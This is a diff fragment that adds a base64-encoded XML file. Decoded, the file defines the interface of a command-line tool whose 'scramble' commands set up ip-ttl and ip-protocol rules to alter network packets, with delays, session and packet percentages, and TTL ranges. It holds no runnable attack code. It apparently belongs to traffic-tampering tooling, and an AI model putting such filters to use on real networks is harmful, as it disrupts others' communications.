+QXV0b21hdGljYWxseSByZS1lbmFibGUgdGhlIGZpbHRlciB3aGVuIHRlcm1pbmF0aW9uIGlzIHJl
+YWNoZWQuPC9oZWxwdGV4dD4NCiAgICAgICAgICAgICAgPC9hdHRyaWJ1dGU+DQogICAgICAgICAg
+ICA8L3BhcmFtZXRlcj4NCiAgICAgICAgICAgIDxwYXJhbWV0ZXIgZmxhZz0idGQiPg0KICAgICAg
+ICAgICAgICA8Y2FzZXNlbnNpdGl2ZT5mYWxzZTwvY2FzZXNlbnNpdGl2ZT4NCiAgICAgICAgICAg
+ICAgPG5jdXJzZWlkPnNjcmFtYmxlX3BhcmFtX3RkPC9uY3Vyc2VpZD4NCiAgICAgICAgICAgICAg
+PG5jdXJzZWxhYmVsPlRpbWUgRGVsYXk8L25jdXJzZWxhYmVsPg0KICAgICAgICAgICAgICA8YXR0
+cmlidXRlPg0KICAgICAgICAgICAgICAgIDx0eXBlPnN0cmluZzwvdHlwZT4NCiAgICAgICAgICAg
+ICAgICA8c2l6ZT4xNTwvc2l6ZT4NCiAgICAgICAgICAgICAgICA8cHJpbWl0aXZlPjB4MEYwMDAw
+MDM8L3ByaW1pdGl2ZT4NCiAgICAgICAgICAgICAgICA8YXJnbnVtYmVyPjExPC9hcmdudW1iZXI+
+DQogICAgICAgICAgICAgICAgPGhlbHB0ZXh0PlRpbWUgYmVmb3JlIGZpbHRlciBhZmZlY3RzIHBh
+Y2tldHMuICBUaGUgZm9ybWF0IGNhbiBiZSBzZWNvbmRzIGkuZS4gMzYwMCwgb3Igb25lIGNoYXJh
+Y3RlciBzcGVjaWZpZXJzIGZvciBkYXlzLCBob3VycywgbWludXRlcywgYW5kIHNlY29uZHMgaS5l
+LiAxZCAyaCAzbSA0cy48L2hlbHB0ZXh0Pg0KICAgICAgICAgICAgICA8L2F0dHJpYnV0ZT4NCiAg
+ICAgICAgICAgIDwvcGFyYW1ldGVyPg0KICAgICAgICAgICAgPHBhcmFtZXRlciBmbGFnPSJ0Ij4N
+CiAgICAgICAgICAgICAgPGNhc2VzZW5zaXRpdmU+ZmFsc2U8L2Nhc2VzZW5zaXRpdmU+DQogICAg
+ICAgICAgICAgIDxuY3Vyc2VpZD5zY3JhbWJsZV9wYXJhbV90PC9uY3Vyc2VpZD4NCiAgICAgICAg
+ICAgICAgPG5jdXJzZWxhYmVsPlRpbWUgRHVyYXRpb248L25jdXJzZWxhYmVsPg0KICAgICAgICAg
+ICAgICA8YXR0cmlidXRlPg0KICAgICAgICAgICAgICAgIDx0eXBlPnN0cmluZzwvdHlwZT4NCiAg
+ICAgICAgICAgICAgICA8c2l6ZT4xNTwvc2l6ZT4NCiAgICAgICAgICAgICAgICA8cHJpbWl0aXZl
+PjB4MEYwMDAwMDM8L3ByaW1pdGl2ZT4NCiAgICAgICAgICAgICAgICA8YXJnbnVtYmVyPjEyPC9h
+cmdudW1iZXI+DQogICAgICAgICAgICAgICAgPGhlbHB0ZXh0PkR1cmF0aW9uIHBhY2tldHMgd2ls
+bCBiZSBhZmZlY3RlZCBieSBmaWx0ZXIuICBUaGUgZm9ybWF0IGNhbiBiZSBzZWNvbmRzIGkuZS4g
+MzYwMCwgb3Igb25lIGNoYXJhY3RlciBzcGVjaWZpZXJzIGZvciBkYXlzLCBob3VycywgbWludXRl
+cywgYW5kIHNlY29uZHMgaS5lLiAxZCAyaCAzbSA0cy48L2hlbHB0ZXh0Pg0KICAgICAgICAgICAg
+ICA8L2F0dHJpYnV0ZT4NCiAgICAgICAgICAgIDwvcGFyYW1ldGVyPg0KICAgICAgICAgICAgPHBh
+cmFtZXRlciBmbGFnPSJzZCI+DQogICAgICAgICAgICAgIDxjYXNlc2Vuc2l0aXZlPmZhbHNlPC9j
+YXNlc2Vuc2l0aXZlPg0KICAgICAgICAgICAgICA8bmN1cnNlaWQ+c2NyYW1ibGVfcGFyYW1fc2Q8
+L25jdXJzZWlkPg0KICAgICAgICAgICAgICA8bmN1cnNlbGFiZWw+U2Vzc2lvbiBEZWxheTwvbmN1
+cnNlbGFiZWw+DQogICAgICAgICAgICAgIDxhdHRyaWJ1dGU+DQogICAgICAgICAgICAgICAgPHR5
+cGU+dWludDMyPC90eXBlPg0KICAgICAgICAgICAgICAgIDxzaXplPjExPC9zaXplPg0KICAgICAg
+ICAgICAgICAgIDxkZWZhdWx0dmFsdWU+MDwvZGVmYXVsdHZhbHVlPg0KICAgICAgICAgICAgICAg
+IDxwcmltaXRpdmU+MHgwRjAwMDAwMzwvcHJpbWl0aXZlPg0KICAgICAgICAgICAgICAgIDxhcmdu
+dW1iZXI+MTM8L2FyZ251bWJlcj4NCiAgICAgICAgICAgICAgICA8aGVscHRleHQ+TnVtYmVyIG9m
+IHNlc3Npb25zIHRvIGlnbm9yZSBiZWZvcmUgZmlsdGVyIGFmZmVjdHMgcGFja2V0cy48L2hlbHB0
+ZXh0Pg0KICAgICAgICAgICAgICA8L2F0dHJpYnV0ZT4NCiAgICAgICAgICAgIDwvcGFyYW1ldGVy
+Pg0KICAgICAgICAgICAgPHBhcmFtZXRlciBmbGFnPSJzIj4NCiAgICAgICAgICAgICAgPGNhc2Vz
+ZW5zaXRpdmU+ZmFsc2U8L2Nhc2VzZW5zaXRpdmU+DQogICAgICAgICAgICAgIDxuY3Vyc2VpZD5z
+Y3JhbWJsZV9wYXJhbV9zPC9uY3Vyc2VpZD4NCiAgICAgICAgICAgICAgPG5jdXJzZWxhYmVsPlNl
+c3Npb24gUGVyY2VudGFnZTwvbmN1cnNlbGFiZWw+DQogICAgICAgICAgICAgIDxhdHRyaWJ1dGU+
+DQogICAgICAgICAgICAgICAgPHR5cGU+dWludDMyPC90eXBlPg0KICAgICAgICAgICAgICAgIDxz
+aXplPjExPC9zaXplPg0KICAgICAgICAgICAgICAgIDxkZWZhdWx0dmFsdWU+MDwvZGVmYXVsdHZh
+bHVlPg0KICAgICAgICAgICAgICAgIDxwcmltaXRpdmU+MHgwRjAwMDAwMzwvcHJpbWl0aXZlPg0K
+ICAgICAgICAgICAgICAgIDxhcmdudW1iZXI+MTQ8L2FyZ251bWJlcj4NCiAgICAgICAgICAgICAg
+ICA8aGVscHRleHQ+UGVyY2VudGFnZSBvZiBzZXNzaW9ucyBmaWx0ZXIgd2lsbCBhZmZlY3QuPC9o
+ZWxwdGV4dD4NCiAgICAgICAgICAgICAgPC9hdHRyaWJ1dGU+DQogICAgICAgICAgICA8L3BhcmFt
+ZXRlcj4NCiAgICAgICAgICAgIDxwYXJhbWV0ZXIgZmxhZz0ic20iPg0KICAgICAgICAgICAgICA8
+Y2FzZXNlbnNpdGl2ZT5mYWxzZTwvY2FzZXNlbnNpdGl2ZT4NCiAgICAgICAgICAgICAgPG5jdXJz
+ZWlkPnNjcmFtYmxlX3BhcmFtX3NtPC9uY3Vyc2VpZD4NCiAgICAgICAgICAgICAgPG5jdXJzZWxh
+YmVsPk1heCBTZXNzaW9uczwvbmN1cnNlbGFiZWw+DQogICAgICAgICAgICAgIDxhdHRyaWJ1dGU+
+DQogICAgICAgICAgICAgICAgPHR5cGU+dWludDMyPC90eXBlPg0KICAgICAgICAgICAgICAgIDxz
+aXplPjExPC9zaXplPg0KICAgICAgICAgICAgICAgIDxkZWZhdWx0dmFsdWU+MDwvZGVmYXVsdHZh
+bHVlPg0KICAgICAgICAgICAgICAgIDxwcmltaXRpdmU+MHgwRjAwMDAwMzwvcHJpbWl0aXZlPg0K
+ICAgICAgICAgICAgICAgIDxhcmdudW1iZXI+MTU8L2FyZ251bWJlcj4NCiAgICAgICAgICAgICAg
+ICA8aGVscHRleHQ+TWF4aW11bSBudW1iZXIgb2Ygc2Vzc2lvbiB0byBhZmZlY3QgYmVmb3JlIGZp
+bHRlciBpcyB0ZXJtaW5hdGVkLjwvaGVscHRleHQ+DQogICAgICAgICAgICAgIDwvYXR0cmlidXRl
+Pg0KICAgICAgICAgICAgPC9wYXJhbWV0ZXI+DQogICAgICAgICAgICA8cGFyYW1ldGVyIGZsYWc9
+InBkIj4NCiAgICAgICAgICAgICAgPGNhc2VzZW5zaXRpdmU+ZmFsc2U8L2Nhc2VzZW5zaXRpdmU+
+DQogICAgICAgICAgICAgIDxuY3Vyc2VpZD5zY3JhbWJsZV9wYXJhbV9wZDwvbmN1cnNlaWQ+DQog
+ICAgICAgICAgICAgIDxuY3Vyc2VsYWJlbD5QYWNrZXQgRGVsYXk8L25jdXJzZWxhYmVsPg0KICAg
+ICAgICAgICAgICA8YXR0cmlidXRlPg0KICAgICAgICAgICAgICAgIDx0eXBlPnVpbnQzMjwvdHlw
+ZT4NCiAgICAgICAgICAgICAgICA8c2l6ZT4xMTwvc2l6ZT4NCiAgICAgICAgICAgICAgICA8ZGVm
+YXVsdHZhbHVlPjA8L2RlZmF1bHR2YWx1ZT4NCiAgICAgICAgICAgICAgICA8cHJpbWl0aXZlPjB4
+MEYwMDAwMDM8L3ByaW1pdGl2ZT4NCiAgICAgICAgICAgICAgICA8YXJnbnVtYmVyPjE2PC9hcmdu
+dW1iZXI+DQogICAgICAgICAgICAgICAgPGhlbHB0ZXh0Pk51bWJlciBvZiBwYWNrZXRzIHRvIGln
+bm9yZSBiZWZvcmUgZmlsdGVyIGFmZmVjdHMgcGFja2V0cy48L2hlbHB0ZXh0Pg0KICAgICAgICAg
+ICAgICA8L2F0dHJpYnV0ZT4NCiAgICAgICAgICAgIDwvcGFyYW1ldGVyPg0KICAgICAgICAgICAg
+PHBhcmFtZXRlciBmbGFnPSJwIj4NCiAgICAgICAgICAgICAgPGNhc2VzZW5zaXRpdmU+ZmFsc2U8
+L2Nhc2VzZW5zaXRpdmU+DQogICAgICAgICAgICAgIDxuY3Vyc2VpZD5zY3JhbWJsZV9wYXJhbV9w
+PC9uY3Vyc2VpZD4NCiAgICAgICAgICAgICAgPG5jdXJzZWxhYmVsPlBhY2tldCBQZXJjZW50YWdl
+PC9uY3Vyc2VsYWJlbD4NCiAgICAgICAgICAgICAgPGF0dHJpYnV0ZT4NCiAgICAgICAgICAgICAg
+ICA8dHlwZT51aW50MzI8L3R5cGU+DQogICAgICAgICAgICAgICAgPHNpemU+MTE8L3NpemU+DQog
+ICAgICAgICAgICAgICAgPGRlZmF1bHR2YWx1ZT4wPC9kZWZhdWx0dmFsdWU+DQogICAgICAgICAg
+ICAgICAgPHByaW1pdGl2ZT4weDBGMDAwMDAzPC9wcmltaXRpdmU+DQogICAgICAgICAgICAgICAg
+PGFyZ251bWJlcj4xNzwvYXJnbnVtYmVyPg0KICAgICAgICAgICAgICAgIDxoZWxwdGV4dD5QZXJj
+ZW50YWdlIG9mIHBhY2tldHMgZmlsdGVyIHdpbGwgYWZmZWN0LjwvaGVscHRleHQ+DQogICAgICAg
+ICAgICAgIDwvYXR0cmlidXRlPg0KICAgICAgICAgICAgPC9wYXJhbWV0ZXI+DQogICAgICAgICAg
+ICA8cGFyYW1ldGVyIGZsYWc9InBtIj4NCiAgICAgICAgICAgICAgPGNhc2VzZW5zaXRpdmU+ZmFs
+c2U8L2Nhc2VzZW5zaXRpdmU+DQogICAgICAgICAgICAgIDxuY3Vyc2VpZD5zY3JhbWJsZV9wYXJh
+bV9wbTwvbmN1cnNlaWQ+DQogICAgICAgICAgICAgIDxuY3Vyc2VsYWJlbD5NYXggUGFja2V0czwv
+bmN1cnNlbGFiZWw+DQogICAgICAgICAgICAgIDxhdHRyaWJ1dGU+DQogICAgICAgICAgICAgICAg
+PHR5cGU+dWludDMyPC90eXBlPg0KICAgICAgICAgICAgICAgIDxzaXplPjExPC9zaXplPg0KICAg
+ICAgICAgICAgICAgIDxkZWZhdWx0dmFsdWU+MDwvZGVmYXVsdHZhbHVlPg0KICAgICAgICAgICAg
+ICAgIDxwcmltaXRpdmU+MHgwRjAwMDAwMzwvcHJpbWl0aXZlPg0KICAgICAgICAgICAgICAgIDxh
+cmdudW1iZXI+MTg8L2FyZ251bWJlcj4NCiAgICAgICAgICAgICAgICA8aGVscHRleHQ+TWF4aW11
+bSBudW1iZXIgb2YgcGFja2V0cyB0byBhZmZlY3QgYmVmb3JlIGZpbHRlciBpcyB0ZXJtaW5hdGVk
+LjwvaGVscHRleHQ+DQogICAgICAgICAgICAgIDwvYXR0cmlidXRlPg0KICAgICAgICAgICAgPC9w
+YXJhbWV0ZXI+DQogICAgICAgICAgICA8cGFyYW1ldGVyIGZsYWc9ImRpciI+DQogICAgICAgICAg
+ICAgIDxjYXNlc2Vuc2l0aXZlPmZhbHNlPC9jYXNlc2Vuc2l0aXZlPg0KICAgICAgICAgICAgICA8
+bmN1cnNlaWQ+c2NyYW1ibGVfcGFyYW1fZGlyPC9uY3Vyc2VpZD4NCiAgICAgICAgICAgICAgPG5j
+dXJzZWxhYmVsPkRpcmVjdGlvbjwvbmN1cnNlbGFiZWw+DQogICAgICAgICAgICAgIDxhdHRyaWJ1
+dGU+DQogICAgICAgICAgICAgICAgPHR5cGU+dWludDMyPC90eXBlPg0KICAgICAgICAgICAgICAg
+IDxzaXplPjExPC9zaXplPg0KICAgICAgICAgICAgICAgIDxkZWZhdWx0dmFsdWU+MDwvZGVmYXVs
+dHZhbHVlPg0KICAgICAgICAgICAgICAgIDxwcmltaXRpdmU+MHgwRjAwMDAwMzwvcHJpbWl0aXZl
+Pg0KICAgICAgICAgICAgICAgIDxhcmdudW1iZXI+MTk8L2FyZ251bWJlcj4NCiAgICAgICAgICAg
+ICAgICA8aGVscHRleHQ+VGhlIGRpcmVjdGlvbiBpbiBhIGNsaWVudCBzZXJ2ZXIgY29ubmVjdGlv
+biB0aGF0IHRoaXMgZmlsdGVyIGFwcGxpZXMgdG8uICBJZiBmbGFnIGlzIG5vdCB1c2VkLCBib3Ro
+IGRpcmVjdGlvbiB3aWxsIGJlIGZpbHRlcmVkIG9uLiAgSWYgMSBpcyBlbnRlcmVkLCBvbmx5IGNv
+bm5lY3Rpb25zIGZyb20gdGhlIGNsaWVudCB3aWxsIGJlIGZpbHRlcmVkIG9uLiAgSWYgMiwgb25s
+eSB0aG9zZSBmcm9tIHRoZSBzZXJ2ZXIuPC9oZWxwdGV4dD4NCiAgICAgICAgICAgICAgPC9hdHRy
+aWJ1dGU+DQogICAgICAgICAgICA8L3BhcmFtZXRlcj4NCiAgICAgICAgICAgIDxwYXJhbWV0ZXIg
+ZmxhZz0ibCI+DQogICAgICAgICAgICAgIDxjYXNlc2Vuc2l0aXZlPmZhbHNlPC9jYXNlc2Vuc2l0
+aXZlPg0KICAgICAgICAgICAgICA8bmN1cnNlaWQ+c2NyYW1ibGVfcGFyYW1fbDwvbmN1cnNlaWQ+
+DQogICAgICAgICAgICAgIDxuY3Vyc2VsYWJlbD5UVEwgTWluaW11bTwvbmN1cnNlbGFiZWw+DQog
+ICAgICAgICAgICAgIDxhdHRyaWJ1dGU+DQogICAgICAgICAgICAgICAgPHR5cGU+dWludDMyPC90
+eXBlPg0KICAgICAgICAgICAgICAgIDxzaXplPjExPC9zaXplPg0KICAgICAgICAgICAgICAgIDxk
+ZWZhdWx0dmFsdWU+MDwvZGVmYXVsdHZhbHVlPg0KICAgICAgICAgICAgICAgIDxwcmltaXRpdmU+
+MHgwRjAwMDAwNjwvcHJpbWl0aXZlPg0KICAgICAgICAgICAgICAgIDxhcmdudW1iZXI+MjwvYXJn
+bnVtYmVyPg0KICAgICAgICAgICAgICAgIDxoZWxwdGV4dD5NaW5pbXVtIHZhbHVlIGZvciB0dGwg
+YXNzaWdubWVudC48L2hlbHB0ZXh0Pg0KICAgICAgICAgICAgICA8L2F0dHJpYnV0ZT4NCiAgICAg
+ICAgICAgIDwvcGFyYW1ldGVyPg0KICAgICAgICAgICAgPHBhcmFtZXRlciBmbGFnPSJoaSI+DQog
+ICAgICAgICAgICAgIDxjYXNlc2Vuc2l0aXZlPmZhbHNlPC9jYXNlc2Vuc2l0aXZlPg0KICAgICAg
+ICAgICAgICA8bmN1cnNlaWQ+c2NyYW1ibGVfcGFyYW1faDwvbmN1cnNlaWQ+DQogICAgICAgICAg
+ICAgIDxuY3Vyc2VsYWJlbD5UVEwgTWF4aW11bTwvbmN1cnNlbGFiZWw+DQogICAgICAgICAgICAg
+IDxhdHRyaWJ1dGU+DQogICAgICAgICAgICAgICAgPHR5cGU+dWludDMyPC90eXBlPg0KICAgICAg
+ICAgICAgICAgIDxzaXplPjExPC9zaXplPg0KICAgICAgICAgICAgICAgIDxkZWZhdWx0dmFsdWU+
+MDwvZGVmYXVsdHZhbHVlPg0KICAgICAgICAgICAgICAgIDxwcmltaXRpdmU+MHgwRjAwMDAwNjwv
+cHJpbWl0aXZlPg0KICAgICAgICAgICAgICAgIDxhcmdudW1iZXI+MzwvYXJnbnVtYmVyPg0KICAg
+ICAgICAgICAgICAgIDxoZWxwdGV4dD5NYXhpbXVtIHZhbHVlIGZvciB0dGwgYXNzaWdubWVudC48
+L2hlbHB0ZXh0Pg0KICAgICAgICAgICAgICA8L2F0dHJpYnV0ZT4NCiAgICAgICAgICAgIDwvcGFy
+YW1ldGVyPg0KICAgICAgICAgIDwvb3B0aW9uYWxfcGFyYW1ldGVycz4NCiAgICAgICAgPC9wYXJh
+bWV0ZXJzPg0KICAgICAgICA8bmN1cnNlc2xheW91dD4NCiAgICAgICAgICA8c2VjdGlvbj4NCiAg
+ICAgICAgICAgIDxjb2x1bW4+DQogICAgICAgICAgICAgIDx0aXRsZT5TY3JhbWJsZSBDcmVhdGUg
+aXAtdHRsPC90aXRsZT4NCiAgICAgICAgICAgIDwvY29sdW1uPg0KICAgICAgICAgIDwvc2VjdGlv
+bj4NCiAgICAgICAgICA8c2VjdGlvbj4NCiAgICAgICAgICAgIDxjb2x1bW4+DQogICAgICAgICAg
+ICAgIDxlbGVtZW50PnNjcmFtYmxlX2NyZWF0ZV9hdHRyaWJfMTwvZWxlbWVudD4NCiAgICAgICAg
+ICAgICAgPGVsZW1lbnQ+c2NyYW1ibGVfY3JlYXRlX2F0dHJpYl8yPC9lbGVtZW50Pg0KICAgICAg
+ICAgICAgICA8ZWxlbWVudD5zY3JhbWJsZV9jcmVhdGVfYXR0cmliXzM8L2VsZW1lbnQ+DQogICAg
+ICAgICAgICAgIDxlbGVtZW50PnNjcmFtYmxlX2NyZWF0ZV9hdHRyaWJfNDwvZWxlbWVudD4NCiAg
+ICAgICAgICAgIDwvY29sdW1uPg0KICAgICAgICAgICAgPGNvbHVtbj4NCiAgICAgICAgICAgICAg
+PGVsZW1lbnQ+c2NyYW1ibGVfY3JlYXRlX2F0dHJpYl81PC9lbGVtZW50Pg0KICAgICAgICAgICAg
+ICA8ZWxlbWVudD5zY3JhbWJsZV9jcmVhdGVfYXR0cmliXzY8L2VsZW1lbnQ+DQogICAgICAgICAg
+ICAgIDxlbGVtZW50PnNjcmFtYmxlX2NyZWF0ZV9hdHRyaWJfNzwvZWxlbWVudD4NCiAgICAgICAg
+ICAgICAgPGVsZW1lbnQ+c2NyYW1ibGVfY3JlYXRlX2F0dHJpYl84PC9lbGVtZW50Pg0KICAgICAg
+ICAgICAgPC9jb2x1bW4+DQogICAgICAgICAgPC9zZWN0aW9uPg0KICAgICAgICAgIDxzZWN0aW9u
+Pg0KICAgICAgICAgICAgPGNvbHVtbj4NCiAgICAgICAgICAgICAgPGVsZW1lbnQ+c2NyYW1ibGVf
+Y3JlYXRlX2F0dHJpYl85PC9lbGVtZW50Pg0KICAgICAgICAgICAgPC9jb2x1bW4+DQogICAgICAg
+ICAgICA8Y29sdW1uLz4NCiAgICAgICAgICA8L3NlY3Rpb24+DQogICAgICAgICAgPHNlY3Rpb24+
+DQogICAgICAgICAgICA8Y29sdW1uPg0KICAgICAgICAgICAgICA8ZWxlbWVudD5zY3JhbWJsZV9w
+YXJhbV9lbjwvZWxlbWVudD4NCiAgICAgICAgICAgIDwvY29sdW1uPg0KICAgICAgICAgICAgPGNv
+bHVtbj4NCiAgICAgICAgICAgICAgPGVsZW1lbnQ+c2NyYW1ibGVfcGFyYW1fcHM8L2VsZW1lbnQ+
+DQogICAgICAgICAgICA8L2NvbHVtbj4NCiAgICAgICAgICAgIDxjb2x1bW4+DQogICAgICAgICAg
+ICAgIDxlbGVtZW50PnNjcmFtYmxlX3BhcmFtX3I8L2VsZW1lbnQ+DQogICAgICAgICAgICA8L2Nv
+bHVtbj4NCiAgICAgICAgICA8L3NlY3Rpb24+DQogICAgICAgICAgPHNlY3Rpb24+DQogICAgICAg
+ICAgICA8Y29sdW1uPg0KICAgICAgICAgICAgICAgIDxlbGVtZW50PnNjcmFtYmxlX3BhcmFtX3Rk
+PC9lbGVtZW50Pg0KICAgICAgICAgICAgPC9jb2x1bW4+DQogICAgICAgICAgICA8Y29sdW1uPg0K
+ICAgICAgICAgICAgICAgIDxlbGVtZW50PnNjcmFtYmxlX3BhcmFtX3Q8L2VsZW1lbnQ+DQogICAg
+ICAgICAgICA8L2NvbHVtbj4NCiAgICAgICAgICA8L3NlY3Rpb24+DQogICAgICAgICAgPHNlY3Rp
+b24+DQogICAgICAgICAgICA8Y29sdW1uPg0KICAgICAgICAgICAgICA8ZWxlbWVudD5zY3JhbWJs
+ZV9wYXJhbV9zZDwvZWxlbWVudD4NCiAgICAgICAgICAgIDwvY29sdW1uPg0KICAgICAgICAgICAg
+PGNvbHVtbj4NCiAgICAgICAgICAgICAgPGVsZW1lbnQ+c2NyYW1ibGVfcGFyYW1fczwvZWxlbWVu
+dD4NCiAgICAgICAgICAgIDwvY29sdW1uPg0KICAgICAgICAgICAgPGNvbHVtbj4NCiAgICAgICAg
+ICAgICAgPGVsZW1lbnQ+c2NyYW1ibGVfcGFyYW1fc208L2VsZW1lbnQ+DQogICAgICAgICAgICA8
+L2NvbHVtbj4NCiAgICAgICAgICA8L3NlY3Rpb24+DQogICAgICAgICAgPHNlY3Rpb24+DQogICAg
+ICAgICAgICA8Y29sdW1uPg0KICAgICAgICAgICAgICA8ZWxlbWVudD5zY3JhbWJsZV9wYXJhbV9w
+ZDwvZWxlbWVudD4NCiAgICAgICAgICAgIDwvY29sdW1uPg0KICAgICAgICAgICAgPGNvbHVtbj4N
+CiAgICAgICAgICAgICAgPGVsZW1lbnQ+c2NyYW1ibGVfcGFyYW1fcDwvZWxlbWVudD4NCiAgICAg
+ICAgICAgIDwvY29sdW1uPg0KICAgICAgICAgICAgPGNvbHVtbj4NCiAgICAgICAgICAgICAgPGVs
+ZW1lbnQ+c2NyYW1ibGVfcGFyYW1fcG08L2VsZW1lbnQ+DQogICAgICAgICAgICA8L2NvbHVtbj4N
+CiAgICAgICAgICA8L3NlY3Rpb24+DQogICAgICAgICAgPHNlY3Rpb24+DQogICAgICAgICAgICA8
+Y29sdW1uPg0KICAgICAgICAgICAgICA8ZWxlbWVudD5zY3JhbWJsZV9wYXJhbV9kaXI8L2VsZW1l
+bnQ+DQogICAgICAgICAgICA8L2NvbHVtbj4NCiAgICAgICAgICAgIDxjb2x1bW4+DQogICAgICAg
+ICAgICAgIDxlbGVtZW50PnNjcmFtYmxlX3BhcmFtX2w8L2VsZW1lbnQ+DQogICAgICAgICAgICA8
+L2NvbHVtbj4NCiAgICAgICAgICAgIDxjb2x1bW4+DQogICAgICAgICAgICAgIDxlbGVtZW50PnNj
+cmFtYmxlX3BhcmFtX2g8L2VsZW1lbnQ+DQogICAgICAgICAgICA8L2NvbHVtbj4NCiAgICAgICAg
+ICA8L3NlY3Rpb24+DQogICAgICAgIDwvbmN1cnNlc2xheW91dD4NCiAgICAgIDwvY21kPg0KICAg
+ICAgPGNtZCB0aXRsZT0iaXAtcHJvdG9jb2wiPg0KICAgICAgICA8aGVscHRleHQ+Q3JlYXRlcyBh
+IG5ldyBpcC1wcm90b2NvbCBydWxlIGJhc2VkIG9uIHRoZSBzcGVjaWZpZWQgY3JpdGVyaWEuPC9o
+ZWxwdGV4dD4NCiAgICAgICAgPHByaW1pdGl2ZXM+DQogICAgICAgICAgPHJlcXVpcmVkX3ByaW1p
+dGl2ZXM+DQogICAgICAgICAgICA8cHJpbWl0aXZlPjB4MEYwMDAwMDM8L3ByaW1pdGl2ZT4NCiAg
+ICAgICAgICAgIDxwcmltaXRpdmU+MHgwRjAwMDAwNzwvcHJpbWl0aXZlPg0KICAgICAgICAgIDwv
+cmVxdWlyZWRfcHJpbWl0aXZlcz4NCiAgICAgICAgICA8b3B0aW9uYWxfcHJpbWl0aXZlcz4NCiAg
+ICAgICAgICAgIDxwcmltaXRpdmU+MHgwRjAwMDAwNDwvcHJpbWl0aXZlPg0KICAgICAgICAgICAg
+PHByaW1pdGl2ZT4weDBGMDAwMDA1PC9wcmltaXRpdmU+DQogICAgICAgICAgPC9vcHRpb25hbF9w
+cmltaXRpdmVzPg0KICAgICAgICA8L3ByaW1pdGl2ZXM+DQogICAgICAgIDxhdHRyaWJ1dGVzPg0K
+ICAgICAgICAgIDxyZXF1aXJlZF9hdHRyaWJ1dGVzPg0KICAgICAgICAgICAgPGNvbW1hbmRfYXR0
+cmlidXRlPg0KICAgICAgICAgICAgICA8YXR0cmlidXRlPg0KICAgICAgICAgICAgICAgIDxuY3Vy
+c2VpZD5zY3JhbWJsZV9jcmVhdGVfYXR0cmliXzE8L25jdXJzZWlkPg0KICAgICAgICAgICAgICAg
+IDxuY3Vyc2VsYWJlbD5Tb3VyY2UgSVA8L25jdXJzZWxhYmVsPg0KICAgICAgICAgICAgICAgIDx0
+eXBlPmlwdjQ8L3R5cGU+DQogICAgICAgICAgICAgICAgPHNpemU+MTY8L3NpemU+DQogICAgICAg
+ICAgICAgICAgPHByaW1pdGl2ZT4weDBGMDAwMDAzPC9wcmltaXRpdmU+DQogICAgICAgICAgICAg
+ICAgPGFyZ251bWJlcj4xPC9hcmdudW1iZXI+DQogICAgICAgICAgICAgIDwvYXR0cmlidXRlPg0K
+ICAgICAgICAgICAgPC9jb21tYW5kX2F0dHJpYnV0ZT4NCiAgICAgICAgICAgIDxjb21tYW5kX2F0
+dHJpYnV0ZT4NCiAgICAgICAgICAgICAgPGF0dHJpYnV0ZT4NCiAgICAgICAgICAgICAgICA8bmN1
+cnNlaWQ+c2NyYW1ibGVfY3JlYXRlX2F0dHJpYl8yPC9uY3Vyc2VpZD4NCiAgICAgICAgICAgICAg
+ICA8bmN1cnNlbGFiZWw+U291cmNlIE1hc2s8L25jdXJzZWxhYmVsPg0KICAgICAgICAgICAgICAg
+IDx0eXBlPmlwdjQ8L3R5cGU+DQogICAgICAgICAgICAgICAgPHNpemU+MTY8L3NpemU+DQogICAg
+ICAgICAgICAgICAgPHByaW1pdGl2ZT4weDBGMDAwMDAzPC9wcmltaXRpdmU+DQogICAgICAgICAg
+ICAgICAgPGFyZ251bWJlcj4yPC9hcmdudW1iZXI+DQogICAgICAgICAgICAgIDwvYXR0cmlidXRl
+Pg0KICAgICAgICAgICAgPC9jb21tYW5kX2F0dHJpYnV0ZT4NCiAgICAgICAgICAgIDxjb21tYW5k
+X2F0dHJpYnV0ZT4NCiAgICAgICAgICAgICAgPG5jdXJzZWlkPnNjcmFtYmxlX2NyZWF0ZV9hdHRy
+aWJfMzwvbmN1cnNlaWQ+DQogICAgICAgICAgICAgIDxuY3Vyc2VsYWJlbD5TdGFydCBTcmMgUG9y
+dDwvbmN1cnNlbGFiZWw+DQogICAgICAgICAgICAgIDxhdHRyaWJ1dGU+DQogICAgICAgICAgICAg
+ICAgPHR5cGU+dWludDMyPC90eXBlPg0KICAgICAgICAgICAgICAgIDxzaXplPjExPC9zaXplPg0K
+ICAgICAgICAgICAgICAgIDxwcmltaXRpdmU+MHgwRjAwMDAwMzwvcHJpbWl0aXZlPg0KICAgICAg
+ICAgICAgICAgIDxhcmdudW1iZXI+MzwvYXJnbnVtYmVyPg0KICAgICAgICAgICAgICA8L2F0dHJp
+YnV0ZT4NCiAgICAgICAgICAgIDwvY29tbWFuZF9hdHRyaWJ1dGU+DQogICAgICAgICAgICA8Y29t
+bWFuZF9hdHRyaWJ1dGU+DQogICAgICAgICAgICAgIDxuY3Vyc2VpZD5zY3JhbWJsZV9jcmVhdGVf
+YXR0cmliXzQ8L25jdXJzZWlkPg0KICAgICAgICAgICAgICA8bmN1cnNlbGFiZWw+RW5kIFNyYyBQ
+b3J0PC9uY3Vyc2VsYWJlbD4NCiAgICAgICAgICAgICAgPGF0dHJpYnV0ZT4NCiAgICAgICAgICAg
+ICAgICA8dHlwZT51aW50MzI8L3R5cGU+DQogICAgICAgICAgICAgICAgPHNpemU+MTE8L3NpemU+
+DQogICAgICAgICAgICAgICAgPHByaW1pdGl2ZT4weDBGMDAwMDAzPC9wcmltaXRpdmU+DQogICAg
+ICAgICAgICAgICAgPGFyZ251bWJlcj40PC9hcmdudW1iZXI+DQogICAgICAgICAgICAgIDwvYXR0
+cmlidXRlPg0KICAgICAgICAgICAgPC9jb21tYW5kX2F0dHJpYnV0ZT4NCiAgICAgICAgICAgIDxj
+b21tYW5kX2F0dHJpYnV0ZT4NCiAgICAgICAgICAgICAgPGF0dHJpYnV0ZT4NCiAgICAgICAgICAg
+ICAgICA8bmN1cnNlaWQ+c2NyYW1ibGVfY3JlYXRlX2F0dHJpYl81PC9uY3Vyc2VpZD4NCiAgICAg
+ICAgICAgICAgICA8bmN1cnNlbGFiZWw+RGVzdGluYXRpb24gSVA8L25jdXJzZWxhYmVsPg0KICAg
+ICAgICAgICAgICAgIDx0eXBlPmlwdjQ8L3R5cGU+DQogICAgICAgICAgICAgICAgPHNpemU+MTY8
+L3NpemU+DQogICAgICAgICAgICAgICAgPHByaW1pdGl2ZT4weDBGMDAwMDAzPC9wcmltaXRpdmU+
+DQogICAgICAgICAgICAgICAgPGFyZ251bWJlcj41PC9hcmdudW1iZXI+DQogICAgICAgICAgICAg
